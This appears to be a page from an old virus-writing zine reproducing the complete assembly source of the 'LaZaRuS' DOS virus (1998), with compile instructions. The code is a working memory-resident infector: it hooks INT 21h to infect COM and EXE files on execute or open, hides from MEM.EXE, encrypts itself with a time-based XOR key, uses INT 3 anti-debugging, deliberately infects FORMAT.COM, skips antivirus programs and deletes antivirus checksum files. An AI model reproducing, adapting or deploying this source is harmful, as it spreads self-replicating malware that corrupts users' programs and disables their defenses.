Copy Link
Add to Bookmark
Report
SLAM4.051: Lazarus by Shaitan/SLAM
;----------------------------------------------------------------------------
; LAZARUS.ASM - The LaZaRuS Virus (C)opyright 1998 The Shaitan/SLAM
;
; [Features]:
; * Memory Stealth : Invisible to MEM.EXE & no memory decrease.
; * COM/EXE Infection : Infect on execute & open (fast infector).
; * Self-Encryption : Uses variable encryption.
; * Anti-Debugging : Armoured decryption routine.
; * Anti-Anti-Virus : Deletes checksum files.
;
; To compile, use:
; TASM /m2 lazarus.asm
; TLINK /t lazarus.obj
;
; THIS PROGRAM IS MEANT FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR CANNOT BE
; HELD LIABLE FOR MISUSE OF THE SAME.
;
;----------------------------------------------------------------------------
.model tiny
JUMPS ; TASM only
_TEXT segment word public 'CODE'
org 100h ; All COM files start here...
virus_start:
push ds ; Save DS *Important*
push cs ; Set DS to CS
pop ds ;
call next_line ; Get an IP pointer
next_line: ; using the usual trick!
pop si ;
sub si,offset next_line ;
mov dx,offset new3 ; Set Int 3h *Anti-Debug*
add dx,si ;
mov ax,2503h ;
int 21h ;
decrypt:
push cs ; Set ES:DI to start of
pop es ; encrypted viral code
; MOV DI,xxxx patch
mov_di: ; This becomes:
db 0BFh ; mov di,xxxxh
patch_di: ;
dw offset encrypt_begin ;
mov cx,encrypt_end-encrypt_begin ; How many bytes to decrypt?
decrypt_loop:
int 3h ; Decrypt (Heh,Heh) *Anti-Debug*
inc di ; Next byte
loop decrypt_loop ; Loop till done
jmp encrypt_begin ; Jump to start of virus
new3:
xor_esdi: ; This becomes:
db 26h,80h,35h ; xor byte ptr es:[di],xxh
patch_key: ;
db 00 ; Encryption key
iret ; Int return
encrypt_begin:
mov ax,0D123h ; Are we resident already?
int 21h ; Call DOS
cmp ax,0123Dh ; Check return value
je restore_file ; Yeah. Don't go TSR again!
push si ; Save SI
call get_last_mcb ; MCB in ES:BP
call shrink_last_mcb ; Decrease memory by 6K
add ax,word ptr es:[bp+3] ; Calculate our location in
inc ax ; memory
copy_virus_to_memory:
mov es,ax ; Set ES:DI to virus
mov di,100h ; memory location
push cs ; Set DS:SI to virus source
pop ds ; location
pop si ; Restore SI
push si ; Save it again
add si,100h ; Adjust in file
mov cx,virus_end-virus_start; Size of virus
cld ; Copy upwards into memory
rep movsb ; Copy to memory !!!
get_vectors:
push es ; Set DS to ES
pop ds ; " " "
mov ax,3521h ; Get vector for Int 21h
int 21h ; Call DOS
mov word ptr ds:[old21],bx ; Save
mov word ptr ds:[old21+2],es; Save
set_vectors:
mov ax,2521h ; Set Vector for Int 21h
mov dx,offset new21 ; Set DS:DX to new handler
int 21h ; Call DOS
pop si ; Restore SI
restore_file:
push cs ; Display the message
pop ds
infect_format_com:
dos_format:
mov dx,offset dos_format_com; Try to infect DOS FORMAT.COM
add dx,si ; Adjust
mov ax,3d00h ; Open (also infect)
int 21h ; Call DOS
jnc format_end ; Success!
win_format:
mov dx,offset win_format_com; Try to infect Win 95 FORMAT.COM
add dx,si ; Adjust
mov ax,3d00h ; Open (also infect)
int 21h ; Call DOS
jnc format_end ; Success!
w95_format:
mov dx,offset w95_format_com; Try to infect Win 95 FORMAT.COM
add dx,si ; Adjust
mov ax,3d00h ; Open (also infect)
int 21h ; Call DOS
jc anti_chksum ; Failed!
format_end:
xchg ax,bx ; Handle in BX
mov ah,3eh ; Close file
int 21h ; Call DOS
anti_chksum:
mov dx,offset antivir_dat ; Delete ANTI-VIR.DAT
add dx,si ; Adjust
call killfile ; Delete it!
mov dx,offset chklist_cps ; Delete CHKLIST.CPS
add dx,si ; Adjust
call killfile ; Delete it!
mov dx,offset chklist_ms ; Delete CHKLIST.MS
add dx,si ; Adjust
call killfile ; Delete it!
; Don't forget to restore the saved DS !!!
pop ds ; Get back DS * Important *
cmp byte ptr cs:[file_type+si],'O' ; Is this Generation-1?
je quit
cmp byte ptr cs:[file_type+si],'C' ; Which filetype COM/EXE?
je restore_com
restore_exe:
mov ax,ds ; Get DS in AX
add ax,10h ; Add 10h
add ax,word ptr cs:[ori_ss+si] ; Set SS
cli ; Restore SS:SP
mov ss,ax ;
mov sp,word ptr cs:[ori_sp+si]
sti ;
mov ax,ds ; Restore CS:IP
add ax,10h ;
add word ptr cs:[ori_cs+si],ax
sub ax,10h ;
mov es,ax ;
xor ax,ax ; Restore all registers
xor bx,bx ;
xor cx,cx ;
xor dx,dx ;
xor si,si ;
xor di,di ;
xor bp,bp ;
The_BigJump:
farjmp_code db 0EAh ; JMP xxxx:xxxx
ori_ip dw ? ; Original IP
ori_cs dw ? ; Original CS
ori_ss dw ? ; Original SS
ori_sp dw ? ; Original SP
restore_com:
push cs ; Set ES
pop es ;
push cs ; Set DS
pop ds ;
add si,offset ori_bytes ; Restore first 5 bytes
mov di,100h ; in the COM file
mov cx,5 ;
cld ;
rep movsb ;
xor bx,bx ; Restore registers
xor cx,cx ;
xor dx,dx ;
xor bp,bp ;
xor di,di ;
xor si,si ;
mov ax,100h ; A clever way to
push ax ; JMP 100h
xor ax,ax ;
ret ;
quit:
mov ax,4c00h ; DOS Exit Call
int 21h ; Call DOS
;- INTERRUPT VECTORS --------------------------------------------------------
;- INT 21h HANDLER ----------------------------------------------------------
new21: ; DOS Services Interrupt
function_check:
cmp ax,0D123h ; Is it our residency check call?
jne check_rest ; Nope. Check for other calls
mov ax,0123Dh ; Set expected value in AX
iret ; Return
check_rest:
save_regs: ; Save registers before infecting
push ax ;
push bx ;
push cx ;
push dx ;
push di ;
push si ;
push bp ;
push ds ;
push es ;
pushf ;
check_exec:
cmp ah,4bh ; DOS EXEC Call?
jne check_exit ; No. Check exit call...
call chk_badfilename ; Check for bad files
cmp ax,1 ; Bad?
je restore_regs ; Yeah. Don't Infect...
cmp ax,'M' ; MEM.EXE?
jne do_infect ; No. Jump...
mov byte ptr cs:[in_mem],1 ; Mark as MEM running
call get_last_mcb ; Get 'Z' block
call expand_last_mcb ; Give back mem blocks
jmp do_infect ; Now infect MEM.EXE
check_exit:
cmp ah,4ch ; EXIT Call?
jne check_normal_open ; No. Jump...
cmp byte ptr cs:[in_mem],1 ; MEM is running?
jne restore_regs ; No.Jump...
mov byte ptr cs:[in_mem],0 ; MEM.EXE not running anymore...
call get_last_mcb ; Get 'Z' block...
call shrink_last_mcb ; Decrease MCB block
jmp restore_regs
check_normal_open:
cmp ah,3dh ; DOS NORMAL Open Call?
jne check_extended_open ; No. Jump...
call chk_badfilename ; Check if we can infect this file?
cmp ax,1 ; Not ok to infect?
je restore_regs ; Yes. Cannot infect :(
call chk_extension ; Is this .COM/.EXE?
cmp ax,0 ; " " "
je restore_regs ; No. Jump...
jmp do_infect ; Yes. Infect!
check_extended_open:
cmp ah,6ch ; DOS EXTENDED Open?
jne restore_regs ; No. Jump...
mov dx,si ; DS:SI -> DS:DX -> Filename
call chk_badfilename ; Check if we can infect this file?
cmp ax,1 ; Not ok to infect?
je restore_regs ; Yes. Cannot infect :(
call chk_extension ; Is this .COM/.EXE?
cmp ax,0 ; " " "
je restore_regs ; No. Jump...
jmp do_infect ; Yes. Infect...
do_infect:
call infect ; Call infection routine
restore_regs: ; Restore Registers after infecting
popf ;
pop es ;
pop ds ;
pop bp ;
pop si ;
pop di ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;
do_old21:
jmp dword ptr cs:old21 ; Jump to original handler
;----------------------------------------------------------------------------
;- INFECTION ROUTINE --------------------------------------------------------
infect:
call chk_badfilename ; Check for files we musn't infect
cmp ax,1 ; Is it a bad one?
je infect_end ; Yeah. Don't infect...
mov ax,4300h ; Get file attributes
int 21h ; Call DOS
mov word ptr cs:[ori_attrib],cx ; Save attributes
jc infect_end ; Error !!!
mov ax,4301h ; Set file attributes
xor cx,cx ; Remove all attributes
int 21h ; Call DOS
jc infect_end ; Error !!!
push ds ; Save filename (DS:DX)
push dx ;
start_infect:
mov ax,3d02h ; Open file for reading/write
call olddos ; Call DOS
jc restore_attrib ; Error !!!
xchg ax,bx ; BX = Handle
save_date:
mov ax,5700h ; Get File Date/Time
int 21h ; Call DOS
mov word ptr cs:[ori_date],dx ; Save Date
mov word ptr cs:[ori_time],cx ; Save Time
read_header:
mov ah,3fh ; Read File
mov cx,exe_header_end - exe_header_start
push cs ; Set DS To CS
pop ds
mov dx,offset exe_header_start
int 21h ; Call DOS
jc restore_date ; Error !!!
check_exe:
cmp word ptr cs:[exe_magic],'ZM' ; Is it 'MZ'?
je check_infect ; Yes. Jump...
cmp word ptr cs:[exe_magic],'MZ' ; Is it 'ZM'?
jne iscom ; No. Must be a COM file
check_infect:
cmp word ptr cs:[checksum],'LZ' ; LaZaRuS!
je restore_date ; Infected already...
save_original_values:
mov ax,word ptr cs:[cs_loc] ; Original CS
mov word ptr cs:[ori_cs],ax
mov ax,word ptr cs:[ip_loc] ; Original IP
mov word ptr cs:[ori_ip],ax
mov ax,word ptr cs:[ss_loc] ; Original SS
mov word ptr cs:[ori_ss],ax
mov ax,word ptr cs:[sp_loc] ; Original SP
mov word ptr cs:[ori_sp],ax
is_exe:
call goto_eof ; Goto EOF
push dx ; Save DX:AX
push ax ;
; Here we check if the file contains overlays (or is a Windows EXE)
calculate_realfilesize:
mov cx,512 ; Divide DX:AX by 512
div cx ; Divide
cmp dx,0 ; Is it exactly divisible?
je no_rounding ; Yes. Do not adjust...
inc ax ; Adjust...
no_rounding:
cmp ax,word ptr cs:[pages] ; Check if reported pages are correct
je chk_lastpage
pop ax ; Pop off the stack
pop dx ; " " "
jmp restore_date ; Do not infect this file
chk_lastpage:
cmp dx,word ptr cs:[last_page] ; Verify bytes on last page
pop ax ; Pop off the stack
pop dx ; " " "
jne restore_date ; Do not infect
push dx ; Save filesize
push ax ;
calculate:
mov ax,word ptr cs:[header_size] ; Size of header in paras
mov cx,16 ; Multiply by 16
mul cx ; DX:AX - Result
mov cx,ax ; Save result in AX
pop ax
pop dx
sub ax,cx ; Subtract size of header
sbb dx,0 ; Subtract with borrow
mov cx,16 ; Now we divide DX:AX by 16
div cx ; Divide...
mov word ptr cs:[cs_loc],ax ; New CS
mov word ptr cs:[ip_loc],dx ; New IP
; * IMPORTANT *
sub dx,100h ; Patched offset
add dx,offset encrypt_begin ; MOV DI patch
mov word ptr cs:[patch_di],dx ; Save patched "mov di,xxxx"
mov word ptr cs:[ss_loc],ax ; Save new SS
mov word ptr cs:[sp_loc],0fffeh ; Save new SP
set_file_type:
mov byte ptr cs:[file_type],'E' ; Set as infected 'E'xe
set_infected:
mov word ptr cs:[checksum],'LZ' ; Mark as infected
append_exe:
call append_virus ; Append virus to file
get_new_filesize:
call goto_eof ; Goto EOF
calculate_pages:
mov cx,512 ; Divide DX:AX by 512
div cx ; Divide
cmp dx,0 ; Is it exactly divisible?
je set_pages ; Yes. Do not adjust...
inc ax ; Adjust...
set_pages:
mov word ptr cs:[last_page],dx ; Bytes on last page
mov word ptr cs:[pages],ax ; Number of pages
call goto_bof ; Goto BOF
write_header:
mov ah,40h ; Write to file
mov dx,offset exe_header_start ; DS:DX - Exe Header
mov cx,exe_header_end - exe_header_start
int 21h ; Write new header
jmp restore_date ; EXE Infection over!
iscom:
call goto_bof ; Goto BOF
mov ah,3fh ; Save the original bytes
mov dx,offset ori_bytes ;
mov cx,5 ;
int 21h ;
cmp word ptr cs:[ori_bytes+3],'LZ'
je restore_date
goto_comend:
call goto_eof ; Goto EOF
cmp ax,65535-(virus_end-virus_start); COM file musn't exceed 64K
ja restore_date ; Do not infect this file!
; * IMPORTANT *
add ax,offset encrypt_begin ;
mov word ptr cs:[patch_di],ax ; Patch "mov di,xxxx"
sub ax,offset encrypt_begin ;
sub ax,3 ; Calculate dispalcement
mov word ptr cs:[new_bytes+1],ax ; Save
set_comfiletype:
mov byte ptr cs:[file_type],'C' ; This is a Com file...
append_com:
call append_virus ; Append the virus to the file
write_newcomhdr: ;
call goto_bof ; Goto BOF
mov ah,40h ; Write the new JMP xxxx instruction
mov cx,5 ;
mov dx,offset new_bytes ;
int 21h
restore_date:
mov ax,5701h ; Set File Date/Time
mov dx,word ptr cs:[ori_date] ; Set Date
mov cx,word ptr cs:[ori_time] ; Set Time
int 21h ; Call DOS
mov ah,3eh ; Close File
int 21h ; Call DOS
restore_attrib: ; Restore file attributes/date
pop dx ; Get back filename in DS:DX
pop ds ;
mov ax,4301h ; Set file attrib
mov cx,word ptr cs:[ori_attrib] ; Restore
int 21h ; Call DOS
infect_end:
ret ; Return
;----------------------------------------------------------------------------
;- GENERAL PURPOSE FUNCTIONS ------------------------------------------------
get_last_mcb:
mov ah,52h ; DOS Undocumented Function
int 21h ; to Get List Of Lists...
sub bx,2 ; ES:BX - Pointer to 1st MCB segment
xchg bx,bp ; Now, ES:BP points to 1st MCB segment
mov ax,word ptr es:[bp] ; Get MCB segment
MCB_loop:
mov es,ax ; ES is 1st MCB segment now
xor bp,bp ; BP = 0
cmp byte ptr es:[bp],'Z' ; Last MCB block?
je last_block ; Yes! Jump...
add ax,word ptr es:[bp+3] ; No... Get next MCB segment
inc ax ; Add one segment goes for MCB header
jmp MCB_loop ; Loop till last block found
last_block:
ret
;----------------------------------------------------------------------------
shrink_last_mcb:
sub word ptr es:[bp+3h],256 ; Decrease memory by 4k
sub word ptr es:[bp+12h],256; " " " "
ret
;----------------------------------------------------------------------------
expand_last_mcb:
add word ptr es:[bp+3h],256 ; Decrease memory by 4k
add word ptr es:[bp+12h],256; " " " "
ret
;----------------------------------------------------------------------------
chk_badfilename: ; Check for files we musn't infect
push ds ; Save filename
push dx ;
mov cx,128 ; Max length of filename
push ds ; ES:DI - Filename
pop es ;
mov di,dx ;
mov al,0 ; Look for the end of filename
cld ; Direction = UP
repne scasb ; Search now!
chkcommmand:
cmp word ptr es:[di-12],'OC'; 'CO'
jne chkwin ; No. Jump...
cmp word ptr es:[di-10],'MM'; 'MM'
je bad_filename ; Yes. Jump
chkwin:
cmp word ptr es:[di-8],'IW' ; 'WI'
jne chkfprot ; No. Jump...
cmp word ptr es:[di-6],'.N' ; 'N.'
je bad_filename ; Yes. Jump
chkfprot:
cmp word ptr es:[di-11],'-F'; 'F-'
jne chkvirstop ; No. Jump...
cmp word ptr es:[di-9],'RP' ; 'PR'
je bad_filename ; No. Jump
chkvirstop:
cmp word ptr es:[di-12],'IV'; 'VI'
jne chktbav ; No. Jump...
cmp word ptr es:[di-10],'SR'; 'RS'
je bad_filename ; No. Jump
chktbav:
cmp word ptr es:[di-9],'BT' ; 'TB'
jne chkscan ; No. Jump...
cmp word ptr es:[di-7],'VA' ; 'AV'
je bad_filename ; No. Jump
chkscan:
cmp word ptr es:[di-9],'CS' ; 'SC'
jne chkmsav ; No. Jump...
cmp word ptr es:[di-7],'NA' ; 'AN'
je bad_filename ; No. Jump
chkmsav:
cmp word ptr es:[di-9],'SM' ; 'MS'
jne chkcpav ; No. Jump...
cmp word ptr es:[di-7],'VA' ; 'AV'
je bad_filename ; No. Jump
chkcpav:
cmp word ptr es:[di-9],'PC' ; 'CP'
jne chkclean ; No. Jump...
cmp word ptr es:[di-7],'VA' ; 'AV'
je bad_filename ; No. Jump
chkclean:
cmp word ptr es:[di-10],'LC'; 'CL'
jne chkmem ; No. Jump...
cmp word ptr es:[di-8],'AE' ; 'EA'
je bad_filename ; No. Jump
chkmem:
cmp word ptr es:[di-8],'EM'; 'ME'
jne unknown_file ; No. Jump...
cmp word ptr es:[di-6],'.M' ; 'M.'
jne unknown_file ; No. Jump
; We found MEM.EXE
mov ax,'M' ; Mark as MEM!
pop dx ; " " "
pop ds ; " " "
ret ; Return
bad_filename:
mov ax,1 ; Mark as BAD!
pop dx ; " " "
pop ds ; " " "
ret ; Return
unknown_file:
mov ax,0 ; Mark as OK!
pop dx ; Restore filename
pop ds ;
ret ; Return
;----------------------------------------------------------------------------
chk_extension:
push ds ; Save filename
push dx ;
mov cx,128 ; Max length of filename
push ds ; ES:DI - Filename
pop es ;
mov di,dx ;
mov al,0 ; Look for the last byte in the filename
cld ; Direction = UP
repne scasb ; Search now!
chkcom:
cmp word ptr es:[di-5],'C.' ; .Cxx?
jne chkexe ; No. Jump...
cmp word ptr es:[di-3],'MO' ; .COM?
jne chkexe ; No. Jump
mov ax,1 ; Set expected value
jmp chkext_end ; Return
chkexe:
cmp word ptr es:[di-5],'E.' ; .Exx?
jne unknown_ext ; No. Jump...
cmp word ptr es:[di-3],'EX' ; .EXE?
jne unknown_ext ; No. Jump
mov ax,2 ; Set value for EXE
jmp chkext_end ; Return
unknown_ext:
mov ax,0 ; Unknown file return
chkext_end:
pop dx ; Restore filename
pop ds ;
ret ; Return
;---
olddos:
pushf ; Save flags
call dword ptr cs:[old21] ; Fake an INT
ret ; Return
;---
goto_bof:
mov ax,4200h ; Goto BOF
xor cx,cx ; CX:DX = Offset
xor dx,dx ; " " "
int 21h ; Call DOS
ret
;---
goto_eof:
mov ax,4202h ; Goto EOF
xor cx,cx ; CX:DX = Offset
xor dx,dx ; " " "
int 21h ; Call DOS
ret
;---
append_virus:
mov ah,2ch ; DOS Get Time function
int 21h ; Call DOS
add ch,cl ; Add up hour+min+sec+100th of sec
add ch,dh ; " " "
add ch,dl ; " " "
mov al,ch ; Da encryption key!
mov byte ptr cs:[patch_key],al ; Save the encryption key
push cs ; DS:SI - Start
pop ds ; ES:DI - Destination
push cs ;
pop es ;
mov si,100h ;
mov di,offset virus_end ;
mov cx,offset virus_end-virus_start ; No. of bytes
rep movsb ; Copy all bytes
encrypt:
mov di,offset virus_end ; ES:DI - Start of encryption
add di,offset encrypt_begin-100h ;
mov cx,encrypt_end-encrypt_begin ; How many bytes to encrypt?
encrypt_loop:
xor byte ptr es:[di],al ; Encrypt one byte at a time
inc di ; Next byte
loop encrypt_loop ; Loop till done
mov ah,40h ; Write to file
mov cx,virus_end-virus_start; No. of bytes
mov dx,offset virus_end ; DS:DX - Start of buffer
int 21h ; Call DOS and write
ret
;---
killfile:
mov ax,4301h ; Remove all attributes
xor cx,cx ; from the filename in DS:DX
int 21h ;
mov ah,41h ; Delete file
int 21h ; Call DOS
ret
;- VIRUS DATA ---------------------------------------------------------------
copyright db "The Lazarus Virus (c) '98 The Shaitan/SLAM"
old21 dd ? ; Old Int 21 Handler
; EXE Header of infected file will be stored here
exe_header:
exe_header_start:
exe_magic dw ? ; 'MZ' if EXE file
last_page dw ? ; Bytes on last page in file
pages dw ? ; Number of pages in file
relocation dw ? ; Number of relocations in file
header_size dw ? ; Size of EXE header
min_mem dw ? ; Minimum memory needed
max_mem dw ? ; Maximum memory needed
ss_loc dw ? ; SS location
sp_loc dw ? ; SP location
checksum dw ? ; Checksum (?)
ip_loc dw ? ; IP location
cs_loc dw ? ; CS location
exe_header_end:
; Original 5 bytes of a com file stored here
ori_bytes db 5 dup(0)
; New 5 bytes in COM file
new_bytes db 0E9h ; JMP opcode
dw ? ; Jump displacement
dw 'LZ' ; Marker bytes
ori_attrib dw ? ; Original Attributes
ori_date dw ? ; Original Date
ori_time dw ? ; Original Time
; File type: 'O'riginal/'C'om/'E'xe?
file_type db 'O' ; Generation-1 is 'O'
in_mem db 0 ; Is MEM.EXE running?
; Try to infect one of these files first:
dos_format_com db "C:\DOS\FORMAT.COM",0
win_format_com db "C:\WINDOWS\COMMAND\FORMAT.COM",0
w95_format_com db "C:\WIN95\COMMAND\FORMAT.COM",0
checksum_files:
antivir_dat db "ANTI-VIR.DAT",0
chklist_cps db "CHKLIST.CPS",0
chklist_ms db "CHKLIST.MS",0
encrypt_end:
virus_end:
_TEXT ends
end virus_start
;----------------------------------------------------------------------------